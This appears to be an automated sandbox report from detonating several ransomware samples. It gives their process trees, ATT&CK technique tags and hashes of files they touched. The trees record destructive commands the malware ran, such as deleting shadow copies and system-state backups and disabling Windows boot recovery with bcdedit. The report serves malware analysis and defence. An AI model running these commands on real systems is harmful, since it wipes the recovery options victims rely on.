C:\Users\Admin\AppData\Local\Temp\y_installer.exeC:\Users\Admin\AppData\Local\Temp\y_installer.exe --partner 351634 --distr /quiet /msicl "YABROWSER=y YAHOMEPAGE=y YAQSEARCH=y YABM=y VID=666"4⤵PID:6000
-
C:\Users\Admin\AppData\Local\Temp\7F4987FB1A6E43d69E3E94B29EB75926\YandexPackSetup.exe"C:\Users\Admin\AppData\Local\Temp\7F4987FB1A6E43d69E3E94B29EB75926\YandexPackSetup.exe" /quiet /msicl "YABROWSER=y YAHOMEPAGE=y YAQSEARCH=y YABM=y VID=666"5⤵PID:5572
-
-
C:\Users\Admin\AppData\Local\Temp\y_installer.exeC:\Users\Admin\AppData\Local\Temp\y_installer.exe --stat dwnldr/p=351634/cnt=0/dt=5/ct=5/rt=0 --dh 2304 --st 17301479335⤵PID:7108
-
-
-
-
C:\Users\Admin\Desktop\00405\HEUR-Trojan-Ransom.Win32.GandCrypt.gen-0f45e288165b33ba9a1e2ab5464e5a0aeb36a732d7be113adc8bc9861c546011.exeHEUR-Trojan-Ransom.Win32.GandCrypt.gen-0f45e288165b33ba9a1e2ab5464e5a0aeb36a732d7be113adc8bc9861c546011.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:3236 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3236 -s 4924⤵
- Program crash
PID:3532
-
-
-
C:\Users\Admin\Desktop\00405\HEUR-Trojan-Ransom.Win32.Generic-397c9e1bdb52321de033a577e2277331ca184487954a8689eb1f7d3b61d12d08.exeHEUR-Trojan-Ransom.Win32.Generic-397c9e1bdb52321de033a577e2277331ca184487954a8689eb1f7d3b61d12d08.exe3⤵
- UAC bypass
- Checks computer location settings
- Executes dropped EXE
- Checks whether UAC is enabled
- Enumerates connected drives
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
- System policy modification
PID:4884 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c wmic.exe SHADOWCOPY /nointeractive4⤵
- System Location Discovery: System Language Discovery
PID:220 -
C:\Windows\SysWOW64\Wbem\WMIC.exewmic.exe SHADOWCOPY /nointeractive5⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:5920
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin DELETE SYSTEMSTATEBACKUP4⤵
- System Location Discovery: System Language Discovery
PID:4348
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest4⤵
- System Location Discovery: System Language Discovery
PID:848
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit.exe /set {default} recoveryenabled No4⤵
- System Location Discovery: System Language Discovery
PID:4260
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures4⤵
- System Location Discovery: System Language Discovery
PID:5040
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /All /Quiet4⤵
- System Location Discovery: System Language Discovery
PID:5056
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c wmic.exe SHADOWCOPY /nointeractive4⤵
- System Location Discovery: System Language Discovery
PID:3220 -
C:\Windows\SysWOW64\Wbem\WMIC.exewmic.exe SHADOWCOPY /nointeractive5⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:6184
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin DELETE SYSTEMSTATEBACKUP4⤵
- System Location Discovery: System Language Discovery
PID:4940
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest4⤵
- System Location Discovery: System Language Discovery
PID:5328
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit.exe /set {default} recoveryenabled No4⤵
- System Location Discovery: System Language Discovery
PID:6068
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures4⤵
- System Location Discovery: System Language Discovery
PID:5184
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /All /Quiet4⤵
- System Location Discovery: System Language Discovery
PID:5640
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c wmic.exe SHADOWCOPY /nointeractive4⤵
- System Location Discovery: System Language Discovery
PID:5588 -
C:\Windows\SysWOW64\Wbem\WMIC.exewmic.exe SHADOWCOPY /nointeractive5⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:6304
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin DELETE SYSTEMSTATEBACKUP4⤵
- System Location Discovery: System Language Discovery
PID:5636
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest4⤵
- System Location Discovery: System Language Discovery
PID:5680
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit.exe /set {default} recoveryenabled No4⤵
- System Location Discovery: System Language Discovery
PID:5796
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures4⤵
- System Location Discovery: System Language Discovery
PID:5840
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /All /Quiet4⤵
- System Location Discovery: System Language Discovery
PID:5892
-
-
-
C:\Users\Admin\Desktop\00405\Trojan-Ransom.Win32.Blocker.lckf-950bed3291dbba942da0f5eebe31debe16a6930aff4a1e181469d85d61d61490.exeTrojan-Ransom.Win32.Blocker.lckf-950bed3291dbba942da0f5eebe31debe16a6930aff4a1e181469d85d61d61490.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:1412 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1412 -s 13644⤵
- Program crash
PID:4232
-
-
-
C:\Users\Admin\Desktop\00405\Trojan-Ransom.Win32.Delf.ss-e90cd8761306b7ee94fa9561e36a49323edb9a6e27213def9ecc93dbae3f2fb7.exeTrojan-Ransom.Win32.Delf.ss-e90cd8761306b7ee94fa9561e36a49323edb9a6e27213def9ecc93dbae3f2fb7.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:1636
-
-
C:\Users\Admin\Desktop\00405\Trojan-Ransom.Win32.PornoBlocker.ajrm-fd5b4498229d14ab6890d904829292acb73c6187150bc2622ebd25609a9f062e.exeTrojan-Ransom.Win32.PornoBlocker.ajrm-fd5b4498229d14ab6890d904829292acb73c6187150bc2622ebd25609a9f062e.exe3⤵
- Checks computer location settings
- Executes dropped EXE
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
PID:5016 -
C:\Program Files (x86)\804672a4\jusched.exe"C:\Program Files (x86)\804672a4\jusched.exe"4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:6372
-
-
-
C:\Users\Admin\Desktop\00405\Trojan-Ransom.Win32.RagnarLocker.e-afab912c41c920c867f1b2ada34114b22dcc9c5f3666edbfc4e9936c29a17a68.exeTrojan-Ransom.Win32.RagnarLocker.e-afab912c41c920c867f1b2ada34114b22dcc9c5f3666edbfc4e9936c29a17a68.exe3⤵
- Executes dropped EXE
- Drops desktop.ini file(s)
- Enumerates connected drives
- Writes to the Master Boot Record (MBR)
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Checks SCSI registry key(s)
PID:2732 -
C:\Windows\System32\Wbem\wmic.exewmic.exe shadowcopy delete4⤵PID:2916
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵PID:6164
-
-
-
C:\Windows\SYSTEM32\bcdedit.exebcdedit /set {default} recoveryenabled No4⤵
- Modifies boot configuration data using bcdedit
PID:4292
-
-
C:\Windows\SYSTEM32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures4⤵
- Modifies boot configuration data using bcdedit
PID:4232
-
-
C:\Windows\SYSTEM32\bcdedit.exebcdedit /set {globalsettings} advancedoptions false4⤵
- Modifies boot configuration data using bcdedit
PID:6716
-
-
-
C:\Users\Admin\Desktop\00405\Trojan-Ransom.Win32.Xorist.lk-4509eb48fa6eb2117118bd33eaebfe190028e3d54976596878814031591dafe8.exeTrojan-Ransom.Win32.Xorist.lk-4509eb48fa6eb2117118bd33eaebfe190028e3d54976596878814031591dafe8.exe3⤵
- Executes dropped EXE
- Adds Run key to start application
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Modifies registry class
PID:392
-
-
C:\Users\Admin\Desktop\00405\UDS-Trojan-Ransom.Win32.GandCrypt.gen-c06616518dbe1c5c499759b40aec1272556a7e3f0af702dd05d78b8ef26eba01.exeUDS-Trojan-Ransom.Win32.GandCrypt.gen-c06616518dbe1c5c499759b40aec1272556a7e3f0af702dd05d78b8ef26eba01.exe3⤵
- Executes dropped EXE
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
PID:6024 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6024 -s 4964⤵
- Program crash
PID:6012
-
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 3236 -ip 32361⤵PID:1600
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 1412 -ip 14121⤵PID:968
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 6024 -ip 60241⤵PID:5448
-
C:\Windows\system32\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\mnBop_readme_.txt1⤵
- Opens file in notepad (likely ransom note)
PID:4372
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵PID:6836
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 3172 -ip 31721⤵PID:6104
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵PID:6840
-
C:\Windows\system32\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Public\Desktop\HOW TO BACK YOUR FILES.txt1⤵PID:9356
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵PID:808
Network
MITRE ATT&CK Enterprise v15
Execution
System Services
1Service Execution
1Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
3Windows Service
3Pre-OS Boot
1Bootkit
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
3Windows Service
3Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Impair Defenses
3Disable or Modify Tools
2Indicator Removal
3Clear Network Connection History and Configurations
1File Deletion
2Modify Registry
4Pre-OS Boot
1Bootkit
1Discovery
Network Share Discovery
1Peripheral Device Discovery
2Query Registry
3Remote System Discovery
1System Information Discovery
5System Location Discovery
1System Language Discovery
1System Network Configuration Discovery
1Internet Connection Discovery
1System Time Discovery
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
8KB
MD5ac54ab2d563ae70b4de4ea584f2673a3
SHA189e5b44bb33d8fac5e60297b1050a1baa9e1e881
SHA2563c2b8bbeee2c8bf13769d0e0f17f7d3520cda9253bfe95e415534da8aa6fde04
SHA512645f2a4a7620ca943e5b5564fdf35e5c168989a4a0012c4479cd7bb52047e4cfd09842f527c8d04a9823036174cc4a66eed76f3c7590dd8eb5ce282115e1286b
-
Filesize
9KB
MD5b415de99de4ba51dc1c85f1d17b6f3fe
SHA1b2d47dc0ffda3b7139fed05d879b8e34cb162dc4
SHA256372e21acc6651ef6b147324dd7863720263c2caee5bc9205692583d4e332e1da
SHA51293f68a54c9e58b8c8fc7a600e45ebc8d7d842cf5afd96ca837ae54c07affe61a693d348c0756b7edade384097b7f8a626d390757b8af332bde6234b5ad12a0e9
-
Filesize
201KB
MD53d3d584584fa8cf32bf823e58b8422ba
SHA1d4cb445bff822d236b764094ea9ac40de9eb90a2
SHA2562fbccbcadd952550c91f3713da0feb2285e7bd4c8c49e8db7648624c762c16be
SHA512fca81e648381b9d496c748b617ef3987cf6a4c405e996750d36b54a100f8e44f091febda3701d94e5a8de54b09874e19bf8a535a5cae4cf33c9cd3791c002ebf
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\themes\dark\aic_file_icons.png
Filesize50KB
MD56f4d5357a8268606659409f55307ecb5
SHA1baa22180d0af8786c2c85af595a624eba4b8c6c2
SHA25661cfa031db92aa08c6fad6baa9ba3e9dccc15d621c771353df63a212414086fb
SHA512cd96792039a5f554cada46b4cdc016068f66f4096ddac27a3a24158292a9ea61a30f5f893bf2fd9e40c8c244910c1e6dcebcd45668bb4b82e5455a38fc3f7840
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\selection-actions.png
Filesize1KB
MD5e7b0b4e80aca0542e35dfcad99b385a2
SHA14f6dcafa62d12001d9c8f4d6a1a906969304cb10
SHA2560b7eba152def7fb596c678cb8368282af7ce89a7e9f45b0c3dc30844f7fd2e8e
SHA512b18f429b085b1108943cbc765595cdbdea6e0326bf981304c216886e69c175ea79f6f280c650b1133197345f146e5cb9672abaea735d469f66128b3295693d64
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\selection-actions2x.png
Filesize3KB
MD5c2f064c4a264e5768276ac04f6f56e9d
SHA13ecb66523d6d95a997dd92f089d13a95afc90d65
SHA256de6b53f6878e86dd24adad4361390153ba784fd1b595125077bc428dc151d550
SHA512d9f2d321640be120cd1c739c3f3017c70b3189beb0dd595c63f460120b0dcc18460087ae2de0eb33b00880d3de13f3a6f72c1a1cbb85bd22d456d1850ec1bf1e
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\example_icons.png
Filesize683B
MD59fdbb80d67dbdb8033993028f2252f37
SHA19c6522ce423de75c12c8bb0294c63cb4a5bf4d60
SHA2565a499d364b3fbf7daeebc14cc16851dab54ff9854ce3624d623f6f4806263a35
SHA512c7fb7eb00a8abd6a544aa1ff7f4251f4a001f0f82e83222b4a83af989a08ffbf20ceead4918952130cf2503bb19a1b9a9cbf982cab43ced3538ee57dfa6df10d
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\example_icons2x.png
Filesize1KB
MD56764b40fdd7608ade433996b3624e302
SHA1709e43334b12e88dbaeff973ad126ab53c0d911b
SHA25655f354ac6e2edfb96e5dbebca8cf48f65bc76b540330928da257fb203a5594c0
SHA5129fbf8507a5ca9dd44004f2d8e82b9798015485a1a7feaa89d0913899ed63fe6b902b8a6bc04e062a66b6e22d825e062f53d5e3821e25da75da8c716ec0358ca8
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\rhp_world_icon.png
Filesize445B
MD5ac6f5fc2ab22bbfdd892c5e9260e2408
SHA1d9cb8187b20b55d345ce9284a5fa05becd09b073
SHA2569bf40e0b907c80c91468c2d1d58f73f36a2c2d661d3ba74458d6a4a37feb9740
SHA512bad49893784dd414557d6e4b5f81e3c3922b991902ff8d956d36f7069137984c5228f32b4d61e7fe47d8b1abaee786d54ae8af2d59d07a4dd4f71932ca627ad7
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\rhp_world_icon_2x.png
Filesize611B
MD517a662566489e8e82420498febe31b43
SHA15e3389edecea1554a9fe03d7ed8c83b4ec0f9de8
SHA2560932578d2fc70ca01066f267294c90dcf25a808b4addfadd1b35c224a2850f5a
SHA5122524847c64314eb0d8a9505bce5603ad97ec9931381c88b11fd8f3f1a7eed6b9c7503301579209519b84f5921698278e2a943895e11e7fdc97e18dd94a6101cb
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\rhp_world_icon_hover.png
Filesize388B
MD55b3ec494f4d2ff63fcecd6d9e06efaa1
SHA132311a053de4a797a13f687908a406a385ca645e
SHA25654be35f620ce17f61aa5b69cb74a83b920fd68a6d4bb88308b4138d371560010
SHA512f7774bc493da0d1dcec7cefcea7c7657c9c58390001d16539d535303b2f590e41f1eed43731e3b72403858ff13c38571e918e0153d6b50f6250d1f2098ff0aab
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\rhp_world_icon_hover_2x.png
Filesize552B
MD5fb4d53c8e7bf3eeb804f242daa3a0f62
SHA1cb531806c4b7eec9077c0cfaf68d34e58e8560f1
SHA2564ba0f24fca78285f795cbc5c7f388eeaa35c1a37286178a54a9fa3be1b105587
SHA512e1de054aa2e48e6ea2419bc9ec280a4989317bd11cd30bdc9758e5449090a876dbd202df665d94f792ce510d376e936e43226028b5574f800c396df57e2b32b9
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\themes\dark\rhp_world_icon.png
Filesize388B
MD59d156a19021b66a979fe8ea0e10a2144
SHA1078dc80aa9d15a4955bd20b1289dc60b177464f5
SHA25692fcde70c26b82e37f1711f244e7601bacc665854544bd348aa43c34c2a19154
SHA5128499f14c373368473eb7c1a2140221d4e053ad21268ef54ee802d5b650072930a851bd08af2a6e36ee32fb63cc203df08be4be29014a7f25725747b04998d5ba
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\themes\dark\rhp_world_icon_2x.png
Filesize552B
MD534a3187bfb454b2cb83d84612c74b44e
SHA1e7a35abd76d0cbdaf11a771ff56fb534ee1021ee
SHA256e6b71ef0582ba62c21255f53f8ac735cb6fb0fa4dd67d8e0ad1cea8b2a849781
SHA5129fdcaa91aa330f4886c9ba388a5bdc0c2508d386ac47a3731910114de58d419903f341be259a2360d2c937e3aaece30b6db481cfb2bf132d257dd7eee9dbd3f8
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\themes\dark\rhp_world_icon_hover.png
Filesize388B
MD50821458ce9613e24c7e419fa8679d5b1
SHA10f373303ead9f810e65d05b25393bc0bb64ba8ec
SHA256ca9d1b5e25293fd85e8cfa58d75a14d64c6c944f05da07ed35d49a63bc36e9d4
SHA512e922b69a237fa6fbab3f7b0fbb97ee357b377aeaff2f332652f7da48dc06a8e50a2f0a9f45923f367d390396ea011b77447d141f8ef39e0bff9cfd7924ce373e
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\themes\dark\rhp_world_icon_hover_2x.png
Filesize552B
MD5177967db82a193ced3394ebfbafcff07
SHA13199b6580901c1954569d68aaf71ca0f4abc4e1d
SHA2561207bcc71260f1331440d53adff5b620c23f9f25b1f32e1a6d1c3d7306baf941
SHA5129f56483780af1e1e199b696f2a686c594233e5fa411d2f373860bf828dd9e610a91e7cce504e3ba442420d2a176695be0c4e887eebf0d6e0b5835a6ba95b6afb
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\images\icons.png
Filesize7KB
MD57132212377d6d02c3f0e8962b93849b7
SHA126288babd57547ca8cfcced4c73fd2fdb7fdfaaa
SHA256e6061962f20839e837ea2d8791e848fe600c50d8d764daadc35f9fd0971fa5f3
SHA512bdc2be005831a34ee9b6d1ded84acb2378185fac930dcd40f97988c06e7c5ea6df7ad1466022ef3b455d9882b21ced13ae405d55c365bc2d02886713a6653a03
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\images\icons_ie8.gif
Filesize7KB
MD58cfbbc828f620079466d54b1337133a1
SHA1bb7edc4d7e32a8047f0f0096ff0e832dc5ae190d
SHA256b20991d13474e8fd96b6e2b2bbad1596e78c9b0f715465e3944f90273db919f4
SHA512fd4ba3e6f188d0092e10e1ed7e7029f70771d4d333fbc04eccc346af459eccd45f8c0ca791b85b9c768ca2eee9d64cad959600f1d3e76aba73dc51083e9a3098
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\images\icons_retina.png
Filesize15KB
MD55ed93ff64b4f4a912f2933ae526df8ae
SHA112dd4891f51f950f639e6e8528686199ec9f269b
SHA256995f3b4139b26819667a48b95d44f4c0227ae7a79a5410d896b12cdd6a03d3a6
SHA512f7ae8a49c54a9e4c7f0a4ceb77d5731774a53fc33ada87e255708ef5406085a8f0422a070d38305c44ea3fde9204423cbe0638ad347f91f6c85c936a5c578ac6
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\images\new_icons.png
Filesize8KB
MD5fca2908ea90fafaf1ad15d56803665a6
SHA1ff6ce696e3355ea8b9de5535dedea8f34ef4093d
SHA256095e6a2f35dcca2ae95938411435975a9dba53bf2144a8e2d7dc1cfab8f8102e
SHA5129aad1769686eaa3511eb8cfb1aefa71343fce829e60ff3a8add1a50aadb87a86fdb6190701f3642715aa84c8debf5341ae9c61da41b5c60bcae4fb83a0cc8343
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\images\new_icons_retina.png
Filesize17KB
MD5cae88a31eb7046088e61ddcc8bfaab1c
SHA16191c99fe4f83e2b6657fc2be0d2c0a117167cc6
SHA256b9b599ad0ede2bd713a9a5e906676dfb489224532cf41eec47ff7b4f92613a51
SHA5125901217ab16997e9a543feaba541060c2e4dd3ac61b58def565acbb81f6da6401c1135373cbfafc2ffd67db6850e53033dfeb24cbcc69dae931c153f018828b2
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\bg_pattern_RHP.png
Filesize179B
MD5170ca0704c8700e547733e91d95d248e
SHA10bf4911fd75e622dfb45283fbdf95f6e301d42b7
SHA2566bef64629f3d27612f40ea5e4a8f9c11484d68240eac9ca66e3ba115f26c6147
SHA512b4778c63e108e9ff6ccc14d05774dcd81b5cf51a42145ad81401b910e6cbd696b80691da96c8b677cf76a38179a74aa08ea7a6fec95a2e9fc419f172a53a573f
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\bg_patterns_header.png
Filesize703B
MD58531d72e1000974f222fffb83b139105
SHA18ac974c02058e094a08daa1c235a0290da4c96ad
SHA256774b912cfe91cbbf1f4013fea03a0a1390b8d2ff551fdbc3a17c2d926dde8b68
SHA51243bcbe5507c1577dff8aa3fb8b41f85f921fa62aac33084ab068d6722eaa0542434290607feb90f72dc870c729e6e08f64ef413d789e77ed3d7f16d415eb27cb
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\illustrations.png
Filesize8KB
MD5b9e1d0e9e30e1739fa3f101881b65b6f
SHA11dc92980ff6d63de944fc8eec3be166eca42a4cf
SHA256005890919a49535f67409474693a2f2a3f3681acc21103b7db408a752652b80e
SHA512638025dc180997de6a6b1be24d4bbfe79b54ca7a21ce46065be3e52c85a3663433e496a63d0ca07937f086b70373258353ab3151438265b90018e6fb042bbda5
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\illustrations_retina.png
Filesize19KB
MD597a6d1bd825a0c91a1cb34dd14ae084e
SHA1a1f7780a6151f4c937dbb7cdcc58e8c146da3005
SHA2568c75c822a6c909a6ae79e4b3dfa1a23b90d05db3db49917d5006e9daba7c4972
SHA51222a714b0912c73264000417da21886a219a8f179e056d3067038dc45c8e80bb0fd41d2caee996174068c54fd92214c1447ff3151eb1a5c541d7151a0dd013579
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\images\themes\dark\faf_icons.png
Filesize6KB
MD5568bcb5ff5e61a9b3097012bf4f885a9
SHA1ca003c233c251d0b3ea28a3a19525f070c7c324c
SHA256dd103ef92bde9ad15e38b6e66c9411f070ef2efbc8a69cce679c5e4d5c9e2901
SHA512e0f11539716d83394d9c0559f2d8cddecc36928ad147e6e4ba1cf0f10f4a104398d5a8bbef9066614ec10fb0181dd4da814bd8e8c3b8a386413a8f2c5bb649d0
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\images\bun.png
Filesize2KB
MD5a9d983879688ab3335276b1014ca5b3c
SHA1494e31d987f97a582e3653247552e694b6b78281
SHA256d9fcc964c74256c141a1f567f2329616b36982bcf6f7a395121ece662d6d92f8
SHA51246995436fab6f02a2f5ba9c177a7671564a5a2c336b9719fbc8583922edf5e8f0ad452b3bd71c24aeeea73c754f538e18fdb30a25dbdf69513edac7c861451cd
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\images\cstm_brand_preview.png
Filesize2KB
MD5c40162b49de468261739bc38929664c0
SHA1940ae5b7ff954090ab7c81185a17e622c649f31f
SHA2562ddd4d4bed063789582fff32de4e8edbb49e46b8ac823e15258f9a838e186569
SHA512fb8dbb6cdffaf0ef7d0875cf1a9b3828282f8e9a6602bf8878ff4158c3f6890b64009091c2074ae88afa719b92ef209d53cf261b159b841e0e0001ac7895ecb4
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\images\cstm_brand_preview2x.png
Filesize4KB
MD522b3401d96ee8a8c07f907810554e8f2
SHA145bb60f1471a7417607fdb90a32c26be72e7324c
SHA256224950b92b32d6937e6919b20bf5bc7481858d427d979e4174f8fba74f760a5e
SHA512854f296482ed971bca1b15b44351192bf030e7c14778f1f7e298df06afc0e2087152efe8fbb14df7d8a934f0af9b17a8a4fc52e055f587540d9f9bfbbabd436e
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\images\dd_arrow_small.png
Filesize289B
MD5768b400053203033378bc9cbaee4f5da
SHA1256434bcceb5856cfc70ed985df34cc980979acd
SHA256492d0eaa60c7d19d5e7a73ee74d8f35d826eb5064b8b00a543beb062196ce62d
SHA5123651dcd564c38d5cb76f6dd071a2600a4533ab6da90e287ff81144a57d6edd3d585ebabd305d9beb2805a21359388beabe011ef6979985e4395b13abe30e4fad
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\images\dd_arrow_small2x.png
Filesize385B
MD5ce5b5781e0d8de6b80aa799f3eddb2cc
SHA1668ea3cc916b81be371bce1caef48f009fe45579
SHA256f050282e3962953f759f6b7d184ba676ed227531d40c3bb99232f87b2c29e2b0
SHA51257696103a15a6a25b56a0b5ee809e97c3b8c66b0fd1d6f7da92360b38e257ffb83df4340d41ef1b2e62ab533452256b4f22ec7f8a53abda0f5d535fde17d130f
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\images\illustrations.png
Filesize4KB
MD5dc393bdda02037e36e4a70128747d4e4
SHA1b56917eb4b3df06dfd3d1e1f2b2668834cda700d
SHA256ced66c977a83b144979e98b6e2b1871e0a84e99f70a0812bc0b257755a966b33
SHA51296425310f232b6bfb82ab24069d63c36f142cd67577e385e9534c7a98501a9b8be00dfcee51e02128233764173bc350e90ad9948680b0ad02b51b74c1db97532
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\images\nub.png
Filesize1003B
MD53000462df1732bbba60df0497c99d692
SHA117dc7211488f92d1fb38ce5cfac4611003499b47
SHA2565b04974a40043920ba5db0c066f99bdf9d43b0b728ed5301a401671185404266
SHA51274b4da12608e693d48c5981473dc4b8a67a34d3398b87fcd1e037a2676acb34058dcd90a4f4846672ad4149113649c9fc84e215ac109861b20f972c524c9102e
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\images\share_icons.png
Filesize1KB
MD5812b7967fb18e5c819e74b9643cf474a
SHA1582f1e9a48bbd77d300ecc48ed68660587fd3ebc
SHA256626a4f2a2d8a495b1ff7c2d126a874e08bf6aaf03b460b5ea5448a4c2d3e5de0
SHA51240b4999aa67d856e9969dda98dbe27e1dbd1e7a9c62be64d3a45ce8ceafddc70d1d4d9983c658408ccb0c7f80339f54d6ce13ef289631475dcdfcfb7baa77f4e
-
